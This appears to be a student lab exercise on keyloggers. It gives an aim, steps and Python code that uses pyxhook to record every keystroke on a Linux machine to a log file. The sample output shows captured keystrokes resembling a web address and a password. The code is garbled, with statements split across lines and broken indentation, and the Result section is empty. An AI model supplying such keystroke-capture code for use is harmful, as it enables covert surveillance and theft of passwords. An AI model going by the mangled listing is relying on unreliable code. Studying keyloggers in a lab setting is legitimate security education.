## KEYLOGGERS

**Aim:**

      To write a python program to implement key logger to record key strokes in Linux.

**Algorithm:**

1. Check if python-xlib is installed. If not type the command- dnf install python-xlib -y

2. Run pyxhook file using the command- python pyxhook.py

3. Create a file key.py

4. Run key.py to record all key strokes.

5. Open file.log file to view all the recorded key strokes.

**Program Code:**

```
import os
import pyxhook

# This tells the keylogger where the log file will go.
# You can set the file path as an environment variable ('pylogger_file'),
# or use the default ~/Desktop/file.log
log_file = os.environ.get( 'pylogger_file', os.path.expanduser('~/Desktop/file.log'))

# Allow setting the cancel key from environment args, Default: ` cancel_key
= ord( os.environ.get( 'pylogger_cancel', '`')[0])

# Allow clearing the log file on start, if pylogger_clean is defined.
if os.environ.get('pylogger_clean', None) is not None:          try:
            os.remove(log_file)
except EnvironmentError:
        # File does not exist, or no permissions.
pass

#creating key pressing event and saving it into log file
def OnKeyPress(event):          with open(log_file, 'a')
as f:
            f.write('{ }\n'.format(event.Key))

# create a hook manager object  new_hook
= pyxhook.HookManager()
new_hook.KeyDown = OnKeyPress

# set the hook
new_hook.HookKeyboard()  try:
      new_hook.start()                # start the hook
except KeyboardInterrupt:
```

```
        # User cancelled from command line.
        pass except
Exception as ex:
        # Write exceptions to the log file, for analysis later.
msg = 'Error while catching events:\n {}'.format(ex)
        pyxhook.print_err(msg)
with open(log_file, 'a') as f:
                f.write('\n{}'.format(msg))
```

**Output:**

```
w w w
period
h d
f c b a
n k
period
c o m
Return
3
0
0
9
1
2
3
Shift_L
I
n
d
i a
9
0 Shift_L
dollar
percent
```

**Result:**